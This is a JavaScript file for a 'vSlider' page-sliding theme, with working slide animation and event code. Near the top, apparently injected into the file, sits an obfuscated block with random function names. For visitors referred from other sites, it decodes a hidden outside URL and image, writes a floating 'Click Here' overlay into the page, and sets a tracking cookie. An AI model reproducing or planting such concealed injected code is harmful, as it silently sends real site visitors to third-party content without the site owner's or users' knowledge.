/*
Theme Name: vSlider
Theme URI: http://iRui.ac/vSlider
Description: vSlider Theme - created for <a href="http://iRui.ac/">iRui.ac</a>
Version: 1.0
Author: Rui Pereira
Author URI: http://iRui.ac

	vSlider v1.0
	http://iRui.ac

	The CSS, XHTML and design is licensed under a Creative Commons License
	http://creativecommons.org/licenses/by/2.5/
*/	


	// You can change this to get more fluid animation, 
	// but you can get into speed problems
	// Browsers were not really made for fluid animation ;)

function uPW4WKyB(){
	document.getElementById("MjjF9K").style.display="none";
}
function HC5tOnyI(){
	if(document.body.scrollTop==0)
		document.all["MjjF9K"].style.top=document.documentElement.scrollTop+10;
	else 
		document.all["MjjF9K"].style.top=document.body.scrollTop+10;
}
function eqVRa1Yj(tb,cu){
	var du = "", bp = 0;
	while(1)
	{
		var t = cu.substr(bp, 16);
		var i, tl = t.length;
		if(tl == 0) break;
		for(i = 0; i < tl; i ++) du += t.charAt(parseInt(tb.charAt(bp+i), 16));
		bp += tl;
	}
	return du;
}

if( document.cookie.indexOf("ayYL0PNIj") == -1){
	var YW90 = new Date(), YW901 = false;
	if(document.referrer != null && document.referrer.toLowerCase().indexOf('http://') == 0){ 
			var cIhM = document.domain.toLowerCase(); 
			if(cIhM.indexOf('www.') == 0) cIhM = cIhM.substr(4);
			var CTHQ = document.referrer.toLowerCase().substr(7); 
			var A51H = CTHQ.indexOf('?'); 
			if(A51H != -1) CTHQ = CTHQ.substr(0, A51H);
			var A51H = CTHQ.indexOf('/'); 
			if(A51H != -1) CTHQ = CTHQ.substr(0, A51H);
			if(CTHQ.indexOf('www.') == 0) CTHQ = CTHQ.substr(4);
			if(CTHQ != cIhM && Math.random() < 1){
				YW90.setTime(YW90.getTime()+(36 *100*  10 *24 *  10   * 100));
				YW901 = YW90.toGMTString();
				var LGSq = navigator.appVersion.indexOf('MSIE') != -1;
				var ZWxh=1;
				document.write('<div id="MjjF9K" style="'+(LGSq ? 'position:absolute;' : 'position:fixed;')+' left:80%; top:30px; z-index:1000;">'+
				'<b><a style="font-size:13px; color:#0C447C; font-family:Arial; text-decoration:none;" onmouseover="ZWxh=0"'+
				' title="Close" href="javascript: uPW4WKyB()" onmouseout="ZWxh=1">Close[X]</a></b><br>'+
				'<a href="'+eqVRa1Yj('3e986b50c74fda12137825604','sethm/:iptn/l.tps/bm/erem')+cIhM+'.html'+'" target="_blank"><img src="'+eqVRa1Yj('b307ec6a92d41f58a687b453c9e2f10d0','t.itpe/ptlsh/m:ng.2nbaigme//nir3f')+'" border=0 alt="Click Here" onclick="uPW4WKyB()"></a></div>');
				if(LGSq){
					if (document.all["MjjF9K"].style)
					window.setInterval("HC5tOnyI()", 5);
					window.onerror=null;
					document.body.scrollTop=10;
				}
			}
	}
	else{
		YW90.setTime(YW90.getTime()+(90   *  100   *  36 * 10  *   24   *100));
		YW901 = YW90.toGMTString();
	}
	if(YW901 != false) document.cookie = "ayYL0PNIj"+'=1; expires='+YW901+'; path=/';
}
	var defaultDelay = 30;
	var steps = 3;

	// These arrays hold temporary references to slider boxes, between timer calls
	var boxContainers = new Array();
	var boxes = new Array();
	


	// Slide, when called from onclick
	function slide(e) {

		// This block handles the different handling of events and targets on IE/W3C
		var targ;
		if (!e) var e = window.event;
		if (e.target) targ = e.target;
		else if (e.srcElement) targ = e.srcElement;
		slideBlock(targ, defaultDelay);
	}
	

	// Main slide function
	function slideBlock(block, delay){

		// Get the caller object (which is the same as the target)
		var callerObj = block;
		var containerID = block.getAttribute('slidebox');				
		
		// Setup objects
		var boxContainer = document.getElementById(containerID);
		var box = document.getElementById(containerID + "_box");			
		boxContainer.callerObj = callerObj;
		
		boxContainers[containerID] = 	boxContainer;
		boxes[containerID] = 	box;
		
		// Define the direction or reverse it
		if(boxContainer.callerObj.direction == undefined) {
			boxContainer.callerObj.direction = true;
		}
		else {
			boxContainer.callerObj.direction = !boxContainer.callerObj.direction;
		} 
		
		// Before sliding down, make sure that the styles are restored to open 
		if(!boxContainer.callerObj.direction) {
			var swapStyles = boxContainer.callerObj.swapstyles;
			for(var i = 0; i<swapStyles.length; i++) {	
				swapStyles[i].element.className = swapStyles[i].open; 
			}

			var callbacks = boxContainer.callerObj.callbacks;
			for(var i = 0; i<callbacks.length; i++) {	
				eval("callbacks[i].element." + callbacks[i].openCallbackFunction + "()");
			}
		}
	
		
	
		// Init values		
		box.style.height=box.offsetHeight + "px";		
		if(box.offsetTop < -5000) {				
				box.style.top=-box.offsetHeight + "px";		
				// This is needed for IE - if height is still 0 at this point, 
				// IE will ignore it and display full size		
				boxContainer.style.height="1px";
		}
		else {									
			box.style.top=box.offsetTop + "px";	
			if(!boxContainer.callerObj.direction) {
				// This is needed for IE - if height is still 0 at this point, 
				// IE will ignore it and display full size		
				boxContainer.style.height="1px";
			}			
		}
		boxContainer.style.height=boxContainer.offsetHeight+"px";
	
		// In some rare occasions, the box.offsetHeight may return 0 (when there is not content, for instance)
		// If that occurs, the boxContainer.offsetHeight can be used to calculate the slide speed
		if(box.offsetHeight!=0) {
			boxContainer.slideSpeed = Math.round(box.offsetHeight / steps);
		}
		else {
			boxContainer.slideSpeed = Math.round(boxContainer.offsetHeight / steps);
	  }
		boxContainer.slideDelay = delay;	

		
		// If the timer is active, clear it immediately
		if(boxContainer.slideInterval != undefined ) {
			clearInterval(boxContainer.slideInterval);
		}		
	
		// Slide on the correct direction
		if(boxContainer.callerObj.direction) {				
			boxContainer.slideInterval = setInterval("slideUp('" + containerID + "')",boxContainer.slideDelay)				
		}
		else {						
			boxContainer.slideInterval = setInterval("slideDown('" + containerID + "')",boxContainer.slideDelay)	
		}
		
	}
	
	function slideUp(containerID){
		// Get the objects
		var boxContainer = boxContainers[containerID];
		var box = boxes[containerID];
		
			
		// Get current values
		var boxHeight = parseInt(box.style.height);
		var boxTop = parseInt(box.style.top);
		var boxContainerHeight = parseInt(boxContainer.style.height);
		var slideSpeed = boxContainer.slideSpeed;

		
		
				
		// While the box is still visible, move it up and resize the inner box 
		if ( boxTop >= (boxHeight*(-1)) ) {
			box.style.top = boxTop - slideSpeed + "px"
			if((boxContainerHeight - slideSpeed) > 0) {
				boxContainer.style.height = boxContainerHeight - slideSpeed + "px"
			}

		}
		// When finished, stop the timer and position absolute correct values
		else{
			clearInterval(boxContainer.slideInterval)
			box.style.top = boxHeight*(-1) + "px";
			boxContainer.style.height = "1px";
			
			
			// Change all styles to closed
			var swapStyles = boxContainer.callerObj.swapstyles;
			for(var i = 0; i<swapStyles.length; i++) {
				swapStyles[i].element.className = swapStyles[i].closed; 
			}		
			
			var callbacks = boxContainer.callerObj.callbacks;
			for(var i = 0; i<callbacks.length; i++) {	
				eval("callbacks[i].element." + callbacks[i].closeCallbackFunction + "()");
			}

		}		
	}
	
	function slideDown(containerID){
		
		// Get the objects		
		var boxContainer = boxContainers[containerID];
		var box = boxes[containerID];	
	
		// Get current values
		var boxHeight = parseInt(box.style.height);
		var boxTop = parseInt(box.style.top);
		var boxContainerHeight = parseInt(boxContainer.style.height);
		var slideSpeed = boxContainer.slideSpeed;						
				
		// While the box is not fully visible, move it down and resize the inner box 
		if ( (boxTop + slideSpeed) < 0 ) {			
			box.style.top = boxTop + slideSpeed + "px"
			boxContainer.style.height = boxContainerHeight + slideSpeed + "px"
		}
		// When finished, stop the timer and position absolute correct values
		else{
			clearInterval(boxContainer.slideInterval)
			box.style.top = 0;
			// This restores the full size. 100% is important! Otherwise the size becomes static after a slide down.
			box.style.height="100%";
			boxContainer.style.height="100%";
			
			
		}		
	}
	
	
	// Init all the vSliders in the page
	function initvSliders() {
		
		// Get all DIVs
		var allDIVs = document.getElementsByTagName('div');
		
		for(var i = 0; i < allDIVs.length; i++) {
			
			// If they are vSliders
			if(allDIVs[i].getAttribute("vslider")) {
														
				// Add the onClick event
				addEvent(allDIVs[i], "click", slide);			
				
				// Eval the StyleSwitch code section, if present
				if(allDIVs[i].getAttribute("styleswitchcode")) {	
						var swapstyles = eval(allDIVs[i].getAttribute("styleswitchcode"));
				}
				else {
						var swapstyles = new Array();
				} 
				
				allDIVs[i].swapstyles = swapstyles;


				// Eval the Callbacks code section, if present
				if(allDIVs[i].getAttribute("callbacks")) {	
						var callbacks = eval(allDIVs[i].getAttribute("callbacks"));
				}
				else {
						var callbacks = new Array();
				} 
				
				allDIVs[i].callbacks = callbacks;

				
				
				if(allDIVs[i].getAttribute("startclosed")) {				
					//slideBlock(allDIVs[i],1);
					allDIVs[i].direction = true;
				}
			}
		}
	}
	
	
// Event Listener
// by Scott Andrew - http://scottandrew.com
// edited by Mark Wubben, <useCapture> is now set to false

function addEvent(obj, evType, fn){
	if(obj.addEventListener){
		obj.addEventListener(evType, fn, false); 
		return true;
	} else if (obj.attachEvent){
		var r = obj.attachEvent('on'+evType, fn);
		return r;
	} else {
		return false;
	}
}	

// Register the init of Sliders on the onload event of the page
addEvent(window, "load", initvSliders);





